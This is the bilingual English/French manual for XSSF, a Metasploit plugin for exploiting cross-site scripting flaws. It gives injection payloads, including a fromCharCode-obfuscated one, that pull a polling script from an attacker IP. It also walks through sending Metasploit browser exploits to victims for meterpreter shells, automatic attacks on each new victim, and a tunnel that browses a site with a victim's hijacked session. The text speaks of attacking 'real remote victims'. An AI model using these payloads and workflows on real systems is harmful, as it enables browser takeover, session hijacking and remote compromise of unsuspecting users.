Introduction

    The Cross-Site Scripting Framework (XSSF) is a security tool designed to turn the XSS vulnerability exploitation task into a much easier work. The XSSF project aims to demonstrate the real dangers of XSS vulnerabilities, vulgarizing their exploitation. This project is created solely for education, penetration testing and lawful research purposes.

    XSSF allows creating a communication channel with the targeted browser (from a XSS vulnerability) in order to perform further attacks. Users are free to select existing modules (a module = an attack) in order to target specific browsers.

    XSSF provides a powerfull documented API, which facilitates development of modules and attacks. In addition, its integration into the Metasploit Framework allows users to launch MSF browser based exploit easilly from an XSS vulnerability.

    In addition, an interesting though exploiting an XSS inside a victim's browser could be to browse website on attacker's browser, using the connected victim's session. In most of cases, simply stealing the victim cookie will be sufficient to realize this action. But in minority of cases (intranets, network tools portals ...), cookie won't be useful for an external attacker. That's why XSSF Tunnel was created to help the attacker browsing on affected domain using the victim's session.

XSSF has being tested on following browsers (with default installs):

• Mozilla Firefox ≥ 2
• Google Chrome ≥ 5
• Microsoft Internet Explorer ≥ 6
• Apple Safari ≥ 3
• Opera ≥ 9
• Android Browser (≥ 2.1)

NOTE: Feel free to send your comments or give your opinion to improve the XSS Framework at ludovic.courgnaud /at\ gmail.com.
XSSF new modules can be sent to the same address. Don't forget to fill your name in the module initialization author field and / or the original discoverer name.

IMPORTANT: XSSF goal is to exploit XSS vulnerabilities. The project doesn't include XSS vulnerability finder and won't include one in the future! In addition - as a project in development - XSSF still doesn't support some cases, especially regarding the use of the XSSF tunnel with an XSS over HTTPS domain (IE). Finally, XSSF is designed to be fully compatible with the last MSF version. It is possible that XSSF returns errors with non-updated versions.

ABOUT: XSSF v2.0 - Ludovic Courgnaud - CONIX Security

Introduction

    Le Framework de Cross-Site Scripting (XSSF) est un outil de sécurité visant à simplifier la tâche d'exploitation des vulnérabilités XSS. Le but du projet XSSF est de démontrer les réels dangers des vulnérabilités XSS en vulgarisant leur exploitation. Ce projet est créé uniquement à des fins d'éducation, de recherche et de démonstration de vulnérabilités.

    XSSF permet de créer un canal de communication avec le navigateur visé (par la vulnérabilité XSS) dans le but de réaliser des attaques dans le temps. Libre aux utilisateurs de choisir parmi les modules existants (un module = une attaque) afin de cibler des navigateurs spécifiques.

    XSSF fournit une API puissante et documentée, qui permet de faciliter le développement de modules et d'attaques. De plus, son intégration dans le Framework Metasploit permet aux utilisateurs de lancer directement des exploits navigateurs MSF facilement depuis une vulnérabilité XSS.

    Enfin, une des possibilités intéressantes lors de l'exploitation des XSS à l'intérieur du navigateur d'une victime pourrait être de surfer directement sur le site vulnérable depuis le navigateur de l'attaquant, en utilisant les informations de session de la victime connectée. Dans la plupart des cas, le vol simple du cookie de la victime suffira à réaliser cette action. Dans certains cas particuliers (intranets, portails d'administration d'outils réseaux, etc.), le cookie sera inutile pour un attaquant extérieur. C'est pourquoi XSSF Tunnel à été créé afin d'aider l'attaquant à naviguer sur le domaine vulnérable en utilisant la session de la victime déjà connectée.

Le projet XSSF à été testé sur les navigateurs suivants (avec les installations par défaut) :

• Mozilla Firefox ≥ 2
• Google Chrome ≥ 5
• Microsoft Internet Explorer ≥ 6
• Apple Safari ≥ 3
• Opera ≥ 9
• Android Browser (≥ 2.1)

NOTE : N'hésitez pas à envoyer vos commentaires où à donner votre opinion afin d'améliorer le Framework XSS à ludovic.courgnaud /at\ gmail.com.
De nouveaux modules XSSF peuvent être envoyés à cette même adresse. N'oubliez pas de renseigner votre nom dans l'initialisation du module créé.

IMPORTANT : Le but d'XSSF est l'exploitation des vulnérabilités XSS. Le projet n'inclut pas d'outil de recherche de vulnérabilités XSS et n'en inclura pas dans le futur! De plus - en tant que projet encore en développement - il est possible que certains scénarios ne soient pas encore supportés, notamment lors de l'utilisation du tunnel XSSF à partir d'une XSS sur un domaine en HTTPS (IE). Enfin, XSSF est conçu pour être entièrement compatible avec les dernières versions de MSF uniquement. Il est possible qu'il ne fonctionne plus avec des versions assez anciennes.

A PROPOS : XSSF v2.0 - Ludovic Courgnaud - CONIX Security

Install XSSF

PREREQUISITES: XSSF is not integrated officially yet inside Metasploit Framework. Before installing XSSF, please make sure MSF is installed on your distribution (MSF Installation). XSSF uses connection to database to interact with XSS victims. All MSF supported databases are also supported by XSSF (SQLite, Mysql, PostgreSQL [recommended]). Please make sure one of these is installed before installing and running XSSF.

XSSF installation is very easy. All you need to do is copy the XSSF folder contents into your MSF install directory:

• Windows command: XCOPY "XSSF\*" "C:\"PATH_TO_MSF_FOLDER\msf3\" /F /E /C /I /Y
• Linux command: CP -R "./XSSF/*" "/PATH_TO_MSF_FOLDER/msf3/"

Once it's done, you can start playing with XSSF!

Installer XSSF

PREREQUIS : Le projet XSSF n'est pas encore intégré officiellement à l'intérieur du Framework Metasploit. Avant d'installer XSSF, assurez-vous de bien avoir installé MSF (Installation MSF). XSSF utilise une connexion avec une base de données afin d'interagir avec les victimes XSS. Toutes les bases de données supportées par MSF le sont aussi par XSSF (SQLite, Mysql, PostgreSQL [recommandée]). Assurez-vous que l'une des trois est installée avant de continuer à utiliser XSSF.

L'installation de XSSF est très simple, la seule chose à faire est de copier le contenu du répertoire XSSF dans le répertoire d'installation de MSF :

• Commande Windows : XCOPY "XSSF\*" "C:\"CHEMIN_DU_REPERTOIRE_MSF\msf3\" /F /E /C /I /Y
• Commande Linux : CP -R "./XSSF/*" "/CHEMIN_DU_REPERTOIRE_MSF/msf3/"

Une fois la copie réalisée, vous pouvez commencer à vous amuser avec XSSF!

Start XSSF

1. Start Metasploit Framework (MSF Console for example).
2. Connect to a database if that's not automatically done.
3. Load XSSF plugin using the command 'load xssf'.
• XSSF server port can be modified using the command 'load xssf Port=80'.
• XSSF server URI can be changed using the command 'load xssf Uri=/'.
• Remote access to XSSF GUI and Tunnel can be activated using the command 'load xssf Public=true'.
• XSSF mode for information messages can be changed using the command 'load xssf Mode=???'. Information messages are displayed during attacks or during tunnel transferts. Accepted modes are:
• Quiet: Does not display anything.
• Normal: Displays attacks and tunnel status messages only (default mode).
• Verbose: Displays all 'Normal' mode messages plus received results from victims.
• Debug: Displays all 'Verbose' mode messages plus XSSF exceptions error messages if exceptions are trigered (should not :-) ).

EXAMPLE: To launch XSSF on port 80, on /xssf/ uri, with attacker's interfaces (GUI, Tunnel) available from remote and with all messages displayed from attacks, just launch XSSF with the command 'load xssf Port=80 Uri=/xssf/ Public=true Mode=Verbose'.




NOTE: Launching XSSF victims' server on port 'x' will launch attacker' server on port 'x + 1'. Attacker' server is useful to access web GUI (logs, stats, etc.) and to access XSSF Tunnel.
IMPORTANT: Remember that you'll have to run Metasploit Framework in administrator mode to run XSSF on ports below 1024. In addition, if XSSF returns databases errors at this point, please make sure last Ruby, Rubygem and database driver versions are installed on your system.

Lancer XSSF

1. Lancer le Framework Metasploit (MSF Console par exemple).
2. Connecter MSF à une base de données si cela n'est pas fait automatiquement.
3. Charger XSSF en utilisant la commande 'load xssf'.
• Le port du serveur XSSF peut être modifié en utilisant la commande 'load xssf Port=80'.
• L'URI du serveur XSSF peut être modifiée en utilisant la commande 'load xssf Uri=/'.
• L'accès distant à la GUI XSSF et au Tunnel XSSF peut être activé en utilisant la commande 'load xssf Public=true'.
• Le mode d'XSSF concernant l'affichage des messages peut être changé en utilisant la commande 'load xssf Mode=???'. Les messages d'information sont affichés pendant les attaques ou les transferts dans le tunnel. Les paramètres acceptés sont :
• Quiet : N'affiche aucun message.
• Normal : Affiche le status des attaques et du tunnel seulement (mode par défaut).
• Verbose : Affiche tout les messages du mode 'Normal' plus les résultats reçus des victimes directement dans la console.
• Debug : Affiche tout les messages du mode 'Verbose' plus les messages d'erreurs à l'intérieur des exceptions XSSF si elles sont déclanchées (ne devraient pas :-) ).

EXEMPLE: Pour lancer XSSF sur le port 80, l'URI /xssf/, avec l'interface attaquant (GUI, tunnel) accessible à distance et avec tous les messages affichés dans la console, lancer XSSF avec la commande 'load xssf Port=80 Uri=/xssf/ Public=true Mode=Verbose'.




NOTE: Le lancement du serveur XSSF pour les victimes sur le port 'x' entrainera le lancement du serveur pour l''attaquant sur le port 'x + 1'. Le serveur attaquant est utile pour accéder aux pages de la GUI (logs, stats, etc.) ainsi qu'au Tunnel XSSF).
IMPORTANT: Afin de lancer le serveur XSSF sur des ports inférieurs à 1024, il est nécessaire de lancer le Framework Metasploit en tant qu'administrateur. De plus, si XSSF retourne des erreurs de base de données lors du chargement, assurez vous d'avoir des versions à jour de Ruby, Rubygems et des drivers correspondants pour la base de données installés sur votre système.

XSSF commands

XSSF commands are available through the MSF help command:

• xssf_victims: Displays all victims
• xssf_active_victims: Displays active victims
• xssf_information [VictimID]: Displays information about a given victim
• xssf_servers: Displays all used attack servers
• xssf_logs [VictimID]: Displays logs about a given victim
• xssf_log [LogID]: Displays log with given ID


• xssf_tunnel [VictimID]: Opens an XSS tunnel with given victim
• xssf_exploit [JobID] [VictimIDs]: Launchs a MSF browser based exploit over given victim(s)


• xssf_add_auto_attack [JobID]: Add a new automated attack (launched automatically at victim's connection)
• xssf_remove_auto_attack [JobID]: Remove an automated attack
• xssf_auto_attacks: Displays XSSF automated attacks


• xssf_remove_victims [VictimIDs]: Remove victims in database
• xssf_clean_victims [VictimIDs]: Clean victims in database (delete waiting attacks)


• xssf_urls: List useful available URLs provided by XSSF
• xssf_banner: Prints XSS Framework banner !

Information about accepted parameters:

• [VictimID]: Only one victim ID (example: 8)
• [JobID]: Only one job ID (example: 0). MSF jobs are available through the command jobs.
• [VictimIDs]: One or many victims ID. This parameter can also accept victim ranges (example: 8, 9, 10-19, 45). This parameter is optionnal, and default value will be set to all victims in database. In case of an attack process, only active victims can be targeted.
• [LogID]: Only one log ID (example: 76)

Commandes XSSF

La liste des commandes XSSF est disponible grâce à la commande MSF help :

• xssf_victims : Affiche toute les victimes
• xssf_active_victims : Affiche les victimes actives
• xssf_information [VictimID] : Affiche les informations relatives à une victime donnée
• xssf_servers : Affiche la liste des serveurs déjà utilisés
• xssf_logs [VictimID]: Affiche la liste des logs d'une victime donnée
• xssf_log [LogID]: Affiche le log avec l'identifiant donné


• xssf_tunnel [VictimID] : Ouvre un tunnel XSS avec une victime donnée
• xssf_exploit [JobID] [VictimIDs] : Lance un exploit navigateur MSF sur des victimes données


• xssf_add_auto_attack [JobID] : Ajoute une attaque automatique (lancée automatiquement lors de la venue d'une nouvelle victime)
• xssf_remove_auto_attack [JobID] : Supprime une attaque automatique
• xssf_auto_attacks : Affiche la liste des attaques automatiques


• xssf_remove_victims [VictimIDs] : Suppression de victime(s) dans la base de données
• xssf_clean_victims [VictimIDs] : Nettoyage de victime(s) dans la base de données (supression de la file d'attaques)


• xssf_urls: Listes d'URL utiles fournies par le serveur XSSF
• xssf_banner : Affichage de la bannière XSSF !

Informations sur les paramètres acceptés :

• [VictimID]: Seulement un identifiant de victime (exemple : 8)
• [JobID]: Seulement un identifiant de tâche de fond (exemple : 0). Les tâches de fond MSF sont disponibles grâce à la commande jobs.
• [VictimIDs]: Un ou plusieurs identifiants de victimes. Ce paramètre accepte aussi des intervalles de victimes (exemple : 8, 9, 10-19, 45). Ce paramètre est optionnel, la valeur par défaut prendra toutes les victimes dans la base de données. Dans le cas d'un processus d'attaque, seules les victimes actives peuvent êtres visées.
• [LogID]: Seulement un identifiant de log (exemple: 76)

XSSF test page

    An XSSF testing page with generic XSS injection is available through the command xssf_test. This page can also be accessed following 'http://XSSF_SERVER:PORT/test.html'.
    Access to this testing webpage within a browser will create a new victim and a new session with XSSF server.

Page de test XSSF

    Une page de test XSSF avec l'injection générique de XSS est disponible grâce à la commande xssf_test. Cette page est disponible à l'adresse suivante : 'http://XSSF_SERVER:PORT/test.html'.
    L'accès à cette page de test à l'intérieur d'un navigateur va permettre la création d'une nouvelle victime et d'une nouvelle session avec le serveur XSSF.

XSS exploitation

    Now, you need a real world XSS to start playing with real remote victims. Finding XSS is quite simple as few websites implements protections, and because websites don't stop growing fast.
    XSSF works both with persistant or non-persistant XSS, wether the request is a GET or a POST. The only thing to keep in mind is that some XSS exploitation remains impossible in some cases, like on browser implementing XSS filters (for GET requests), or browser with JavaScript disabled. XSSF won't be able to manage these cases.

    Let's assume you just found a non-persistant GET XSS on 'http://www.vulnerable.com/index.php?param=value' inside the 'param' parameter. The only thing you have to do in order to link your future victims with XSSF is injecting the generic 'loop' resource provided by XSSF server, whatever the way you do it:

• http://www.vulnerable.com/index.php?param="'><script src="http://10.100.36.245/loop"></script>
• http://www.vulnerable.com/index.php?param="'><img src="none" onerror="s = document.createElement('script'); s.src = "http://10.100.36.245/loop"; document.body.appendChild(s);" />
• http://www.vulnerable.com/index.php?param="'><script> eval(String.fromCharCode(115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 9, 115, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 49, 48, 46, 49, 48, 48, 46, 51, 54, 46, 50, 52, 53, 47, 108, 111, 111, 112, 34, 59, 9, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59)); </script>/span>
• ...

IMPORTANT: Once injected, the XSSF script makes a loop to ask victim's commands. The default loop interval is set to 5 seconds, and can be changed, calling the 'loop' ressource with 'interval' parameter (example '/loop?interval=1').

Exploitation de XSS

    Pour commencer à jouer avec de vraies victimes distances, vous avez besoin d'une XSS sur une application vulnérable. La découverte de vulnérabilités XSS est assez simple étant donné que peu d'applications implémentent de réelles protections, et parce que ces mêmes applications ne cessent d'inclurent de nouvelles fonctionnalités.
    XSSF fonctionne à la fois avec les XSS persistantes et les XSS volatiles, que la requête soit de type GET ou POST. La seule chose à garder à l'esprit est que l'exploitation reste impossible dans quelques cas, comme par exemple sur les navigateurs implémentant des filtres XSS (requêtes GET), ou les navigateurs sur lesquels l'usage du JavaScript est désactivé. XSSF ne sera pas capable de gérer ces différents cas.

    Prenons l'exemple d'une XSS en GET non persistante sur 'http://www.vulnerable.com/index.php?param=value' à l'intérieur du paramètre 'param'. La seule chose à faire afin de lier la victime avec notre serveur XSSF est d'injecter une ressource générique 'loop' fournie par le serveur XSSF, quelque soit le moyen :

• http://www.vulnerable.com/index.php?param="'><script src="http://10.100.36.245/loop"></script>
• http://www.vulnerable.com/index.php?param="'><img src="none" onerror="s = document.createElement('script'); s.src = "http://10.100.36.245/loop"; document.body.appendChild(s);" />
• http://www.vulnerable.com/index.php?param="'><script> eval(String.fromCharCode(115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 9, 115, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 49, 48, 46, 49, 48, 48, 46, 51, 54, 46, 50, 52, 53, 47, 108, 111, 111, 112, 34, 59, 9, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59)); </script>/span>
• ...

IMPORTANT : Une fois l'attaque injectée, le script XSSF boucle indéfiniment pour demander de nouvelles commandes. L'intervalle de demandes par défaut est de 5 secondes, et peut être modifié en appelant la ressource 'loop' avec le paramètre 'interval' (exemple '/loop?interval=1').

Victims

    XSSF victims are kept in database, wether they are active or not. Metasploit can be restarted, victims won't be lost, and active victims will be recovered. A inactive victim can become active again if victim (user) connects again to the infected website.
    As XSSF started server can be configured, victims are separated into servers. Starting XSSF on port 80 won't be able to manage same victims that victims available with default 8888 port.



IMPORTANT: Please see the 'XSSF commands' part to view full victim commands list.

Victimes

    Les victimes XSSF sont conservées en base de données, qu'elles soient actives ou non. Dans le cas ou le Framework Metasploit ou XSSF seraient redémarrés, les victimes ne seraient pas perdus et les victimes actives seront récupérées. Une victime inactive peut redevenir active si elle (utilisateur) navigue à nouveau sur l'application vulnérable.
    Comme les options du serveur XSSF sont configurables, les victimes sont séparées entre différents serveurs. Le démarrage du serveur XSSF sur le port 80 ne permettra pas de gérer les victimes qui étaient disponibles sur le port par défaut 8888.



IMPORTANT : Merci de vous référer à la section 'Commandes XSSF' pour voir la liste complète des commandes concernant les victimes.

Launch XSSF attack

    Before launching an attack on a targeted victim or a list of victims, you will first have to choose the attack. XSSF attacks modules are stored in '/modules/auxiliary/xssf/public' path. You can load the module into MSF using 'use' command, followed by module path.



    Once chosed, attack can be launched easily, as if you were using an MSF module, using commands 'run' or 'exploit -j' to run command in background. Each module can have his own options (AlertMessage in that case), and all XSSF modules will have a VictimIDs options. If options are not set, default values are used and attack will be trigered on all active victims.



    Attacks are sent to victims when they ask for new commands. Module can be stoped using 'Ctrl + c'.

Lancement d'attaques XSSF

    Avant de lancer une attaque sur une victime choisie ou sur une liste de victime, il est nécessaire de choisir cette attaque. Les modules d'attaques XSSF sont stockés dans le répertoire '/modules/auxiliary/xssf/public'. Le chargement d'un module dans MSF se fait à l'aide de la commande 'use', suivie du chemin jusqu'au module.



    Une fois choisie, l'attaque peut se lancer simplement, comme si vous utilisiez un module MSF, en utilisant les commandes 'run' ou 'exploit -j' pour lancer une commande en tâche de fond. Chaque module possède ses propres options (AlertMessage dans le cas présent), et chaque module propre à XSSF contiendra une option VictimIDs. Si les options ne sont pas renseignées, les valeurs par défaut seront utilisées et l'attaque se lancera sur toutes les victimes actives.



    Les attaques sont envoyées aux victimes lorsqu'elles demanderont de nouvelles commandes. Les modules peuvent s'arrêter grâce à la commande 'Ctrl + c'.

Launch MSF attack

PREREQUISITES: To launch a targeted MSF browser exploitation attack from an XSS victim, you'll first need to launch the MSF attack module in background job. Please see the Metasploit Framework documentation for running an exploitation module in background.

Notes: As XSS are related to a browser, only MSF modules exploiting a browser based vulnerability or a browser pluggin (flash, pdf, etc.) vulnerability can be used.

    First step then is to launch a background exploit with command 'exploit -j' and find the background job id with 'jobs' command.



    Once that's done, you can simply attack victims you want, giving the 'VictimIDs' and the 'JobId' parameters to the XSSF 'xssf_exploit' command. Keep in mind that 'VictimIDs' parameter accepts multiple ID or ranges (see 'XSSF commands' parts for more details).



    You can now interact with meterpreter sessions using 'session' to list active meterpreter sessions and 'session -i [SessionID]' to interact.

Lancement d'attaques MSF

PREREQUIS : Pour lancer une attaque d'exploitation MSF ciblée sur une ou plusieurs victimes en particulier, il est nécessaire de lancer préalablement le module désiré en tâche de fond. Merci de vous reporter à la documentation du Framework Metasploit pour tout renseignement concernant les modules MSF ou le lancement de tâches de fond.

Notes : Comme les vulnérabilités XSS sont le plus souvent exploitées dans un navigateur, seuls les modules MSF exploitant une vulnérabilité d'un navigateur ou d'un de ses plugins (flash, pdf, etc.) peuvent être utilisés.

    La première chose à faire est donc de lancer l'exploit en tâche de fond grâce à la commande 'exploit -j' et de retrouver l'identifiant de la tâche de fond lancée grâce à la commande 'jobs'.



    Une fois le lancement de l'exploit MSF réalisé, l'attaque peut être lancée sur n'importe quelle victime XSSF, en passant les paramètres 'VictimIDs' et 'JobId' à la commande XSSF 'xssf_exploit'. Le paramètre 'VictimIDs' accepte un seul identifiant ou un intervalle (reportez-vous à la section 'Commandes XSSF' pour plus de renseignements).



    Une fois l'exploitation réalisée, il est possible d'interagir avec la session meterpreter en utilisant la commande 'session' pour lister les sessions actives et 'session -i [SessionID]' pour interagir avec une session donnée.

Automated attacks

    Automated attacks are useful to attack automatically all new victims. That way, a new victim connected will get all automated attacks, sent one by one. XSSF modules and MSF browser exploitation modules are all supported by automated attacks.
    First thing to do is starting the module in background job with command 'exploit -j' and getting the job ID with command 'jobs'. For XSSF modules, it is possible to set the 'VictimIDs' parameter to 'NONE' in order to launch the attack in background without attacking any victim for the moment (or using 'exploit' command instead of 'run').



    All attacks visible with 'jobs' command can be added to automated attack using command 'xssf_add_auto_attack [JobID]'. Once that is done, attack will be triggered without any action from attacker at victim's connection.



    Attacks in automated mode can be removed using command 'xssf_remove_auto_attack [JobID]'. Note that automated attacks are cleared each time you stop XSSF, and killing a job will remove the linked automated attack.

Attaques automatiques

    Les attaques automatiques sont utiles pour lancer automatiquement des attaques sur toutes les nouvelles victimes. Chaque victime qui viendra se lier au serveur XSSF pour la première fois recevra directement toutes les attaques automatiques envoyées une par une. Les modules XSSF et MSF sont tous supportés lors de l'utilisation d'attaques automatiques.
    La première chose à faire est de démarrer le module en tâche de fond avec la commande 'exploit -j' et de récupérer l'identifiant de tâche de fond avec la commande 'jobs'. Pour les modules XSSF, il est possible de configurer le paramètre 'VictimIDs' avec la valeur 'NONE' afin de lancer l'attaque en tâche de fond sans attaquer aucune victime active pour le moment (peut se faire en utilisant la commande 'exploit' au lieu de 'run').



    Toutes les attaques visibles avec la commande 'jobs' peuvent être rajoutées simplement à la liste des attaques automatiques grâce à la commande 'xssf_add_auto_attack [JobID]'. Une fois la commande prise en compte, l'attaque ajoutée sera déclenchée lors de la connexion d'une nouvelle victime et ce sans que l'attaquant n'est à réaliser d'action particulière.



    Les attaques automatiques peuvent être retirées de la liste en utilisant la commande 'xssf_remove_auto_attack [JobID]'. Les attaques automatiques sont supprimées à chaque arrêt du serveur XSSF, et le fait de tuer une tâche de fond supprimera l'attaque automatique correspondante.

XSSF Tunnel

    An interesting though exploiting an XSS inside a victim's browser could be to browse website on attacker's browser, using the connected victim's session. In most of cases, simply stealing the victim cookie will be sufficient to realize this action. But in minority of cases (intranets, network tools portals ...), cookie won't be useful for an external attacker. That's why XSSF Tunnel is created to help the attacker to help the attacker browsing on affected domain using the victim's session.



    When targeted victim has been chosen by the attacker, only command to execute is 'xssf_tunnel [VictimID]'. The attacker can then configure his browser to browse using XSSF server as a proxy.



    Once that is done, you can just browse with your own browser as if you were the victim. Of course, you can only have an access to the affected domain because request are done by victim. If resources are asked from other domains than vulnerable one, XSSF server will automatically try to get these resources without asking to the victim (often images, css, etc.).


IMPORTANT: For HTTPS vulnerable domain, you will have to call the HTTP domain in your browser to be recognized by XSSF server. For example, for a victim within 'https://www.vulnerable.com' domain, attacker will have to browse the 'http://www.vulnerable.com' domain. XSSF server will automatically do the conversion and call the right resource.



NOTE: XSSF Tunnel is only available from localhost running XSSF server in default mode. However, a public access can be given to these interfaces starting XSSF with the 'Public=true' option.

XSSF Tunnel

    L'une des possibilités intéressantes lors de l'exploitation des XSS à l'intérieur du navigateur d'une victime pourrait être de surfer directement sur le site vulnérable depuis le navigateur de l'attaquant, en utilisant les informations de session de la victime connectée. Dans la plupart des cas, le vol simple du cookie de la victime suffira à réaliser cette action. Dans certains cas particuliers (intranets, portails d'administration d'outils réseaux, etc.), le cookie sera inutile pour un attaquant extérieur. C'est pourquoi XSSF Tunnel à été créé afin d'aider l'attaquant à naviguer sur le domaine vulnérable en utilisant la session de la victime déjà connectée.



    Quand la victime désirée à été choisie par l'attaquant, la commande à utiliser pour ouvrir un tunnel XSS est 'xssf_tunnel [VictimID]'. L'attaquant n'a ensuite qu'à configurer son navigateur pour naviguer en passant par le serveur XSSF comme proxy.



    Une fois les paramétrages effectués, il est possible de naviguer sur le navigateur de l'attaquant comme s'il était la victime. Bien évidemment, la session de la victime n'est utilisable que sur le domaine actuellement vulnérable. Si des ressources de domaines tiers sont nécessaires, le serveur XSSF tentera automatiquement de récupérer ces ressources sans passer par la victime (le plus souvent des images, scripts, css, etc.)


IMPORTANT : Pour les domaines vulnérables en HTTPS, il est nécessaire d'appeler le même domaine en gardant le protocole HTTP dans le navigateur de l'attaquant pour que la requête soit prise en compte par XSSF. Par exemple, pour une victime à l'intérieur du domaine 'https://www.vulnerable.com', l'attaquant devra naviguer sur le domaine 'http://www.vulnerable.com'. Le serveur XSSF fera automatiquement les conversions nécessaires pour appeler les bonnes ressources.



NOTE : XSSF Tunnel est seulement disponible depuis le localhost sur lequel est lancé le serveur XSSF dans le mode par défaut. Cependant, il est possible de leur donner un accès public en utilisant l'option 'Public=true' lors du chargement de XSSF.

XSSF GUI

    Graphical User Interface is available for attack logs, attack statistiques and XSSF help. These interfaces are available through the commands 'xssf_logs', 'xssf_stats' and 'xssf_help' or accessing directly the ressource URI.
NOTE: These interfaces are only available from localhost running XSSF server in default mode. However, a public access can be given to these interfaces starting XSSF with the 'Public=true' option.

XSSF GUI

    L'Interface Graphique Utilisateur est disponible et fournit les log d'attaques, des statistiques en temps réel concernant les victimes ainsi que la présente section d'aide en ligne. Ces interfaces sont disponibles grâce aux commandes 'xssf_logs', 'xssf_stats' et 'xssf_help' ou en utilisant directement l'URL de la ressource désirée.
NOTE : Ces interfaces sont seulement disponibles depuis le localhost sur lequel est lancé le serveur XSSF dans le mode par défaut. Cependant, il est possible de leur donner un accès public en utilisant l'option 'Public=true' lors du chargement de XSSF.

Remote XSSF use (Except for SSH)

    Sometime useful, the remote XSSF use will allow an attacker to use XSSF from a remote computer than the one hosting the server. This also can be used by multi-attackers to use the same XSSF instance including same victims.
    Remote connection can be performed with 'Armitage', which is a graphical management tool for Metasploit Framework. Advanced users will find Armitage valuable for managing remote Metasploit instances and collaboration. Tool is already included in packaged MSF installation ('/msf3/data/armitage/armitage.jar').

    Before starting Armitage, you just have to load the XMLRPC plugin inside MSF in order to allow remote commands ('load xmlrpc').

Utilisation à distance (Hors SSH)

    Parfois utile, l'utilisation de XSSF à distance permettra à un attaquant d'utiliser XSSF sur un autre système que celui hébergeant le serveur XSSF. Ceci peut aussi être utilisé pour permettre une utilisation de XSSF en mode multi-attaquants en conservant les mêmes victimes.
    Les connections à distance peuvent se faire grâce à l'outil 'Armitage', qui permet une utilisation graphique distante ou non du Framework Metasploit. Les utilisateurs avancés pourront utiliser Armitage pour une utilisation distante et une collaboration dans les attaques. L'outil est déjà intégré dans toutes les versions packagées de Metasploit ('/msf3/data/armitage/armitage.jar').

    Avant de lancer Armitage, il est nécessaire de charger le plugin XMLRPC dans MSF pour permettre la gestion des commandes distantes ('load xmlrpc').

XSSF architecture

    XSSF is based on an architecture of Master/Slaves servers. At XSSF start, master server is launched, and this server aims to communicate with victims.



    Each module can be considered as a slave server, delivering malicious codes to the master server. Victims never request directly to slaves, and only have to speak with master XSSF server. That way of work is not impacting the way you'll code your own modules, and doesn't have an impact on how are coded MSF browser based modules.

Architecture XSSF

    XSSF est basé sur une architecture de serveurs Maître/Esclaves. Au lancement de XSSF, un serveur maître est démarré, et se charge du dialogue avec les victimes.



    Chaque module d'attaque peut être considéré comme un serveur esclave, fournissant les codes d'attaque au serveur maître. Les victimes ne dialoguent jamais directement avec les serveurs esclaves, et sont uniquement liée au serveur maître XSSF. Ce mode de fonctionnement n'impacte en rien la façon dont sont codés les modules, ni celle dont sont codés les modules d'exploit MSF.

Code an XSSF module

An XSSF module is composed by two mandatory parts:

• Module initialisation (initialize): Defines module options and information. For XSSF modules, some information are already initialized (Author, Version, etc.) from XSSF modules superclass (XssfServer), and other can be added in each module (Name and Description here). Of course, existing one can be overwritted. Then, each module can register his own options (Command here). Options are also added from superclass (VictimIDs). Please, refer to MSF modules initialization help for more information.
• Module server request handler (on_request_uri): This procedure is called each time a request is done from XSSF master server to the module. This is the really important part of each module, and this function must return an HTTP response through the 'send_response' function. This function takes two mandatory parameters and an optional one:
• Client: This parameter represents the active socket with the client (XSSF master server). It doesn't need to be changed.
• Code: This parameter represents the malicious code returned to the victim. This code can be a JavaScript code or HTML code (surrounded by <HTML> tags).
• HTTP headers: If special headers have to be forwarded to the victim (Content-Type, Set-Cookie, etc.), they have to be added in that optionnal parameters. Headers have to be passed inside the function as a ruby hash ({"Name" => "Value", "Name" => "Value"}).

Coder un module XSSF

Un module XSSF se décompose en deux grandes parties :

• L'initialiation du module (initialize) : Définit les options et informations relatives au module. Pour les modules XSSF, certaines informations sont déjà initialisées (Author, Version, etc.) depuis la superclasse des modules (XssfServer), et d'autres peuvent venir se rajouter dans chaque module (Name et Description dans ce cas). Bien évidemment, les informations déjà existantes peuvent être écrasées. Ensuite, chaque module peut enregistrer ses propres options (Command dans ce cas). Des options sont déjà initialisées et rendues obligatoires par la superclasse (VictimIDs). Merci de vous reporter à l'aide MSF sur l'initialisation des modules pour plus de détails.
• Le gestionnaire de requêtes du module (on_request_uri) : Cette fonction est appelée à chaque fois qu'une requête est faite depuis le serveur maître XSSF vers le module correspondant. C'est la partie réellement importante de chaque module, et cette fonction doit retourner une réponse HTTP par l'intermédiaire de la fonction 'send_response'. Cette procédure prend deux paramètres obligatoires et un facultatif :
• Client : Ce paramètre représente la socket active avec le client (serveur maître XSSF). Il n'est pas nécessaire de changer ce paramètre.
• Code : Ce paramètre contient le code malicieux qui doit être retourné à la victime. Ce code peut être soit de type JavaScript, soit de type HTML (encadré des balises <HTML>).
• Entêtes HTTP : Si des entêtes spéciales doivent être transmises à la victime (Content-Type, Set-Cookie, etc.), elles doivent être rajoutées dans ce paramètre facultatif. Les entêtes doivent être fournies à la fonction sous forme de Hash Ruby ({"Name" => "Value", "Name" => "Value"}).

Return a result to XSSF

    In some modules, it could be interesting to send a result to XSSF server. This is possible through the XSSF API provided JavaScript 'XSSF_POST' function. This procedure takes one mandatory parameter, an three optionnal ones (including two that aren't needed for XSSF modules developement and used for XSSF Tunnel only ):

• Response: Reponse sent by the victim to the XSSF server. This response doesn't have to be encoded, because the 'XSSF_POST' function will do it for you.
• Module Name: This is just to link a response with a module name. That way attacker can easily see in logs modules that returned responses.

For example, a simple module returning webpage content would be only the following code:

Retour de résultats à XSSF

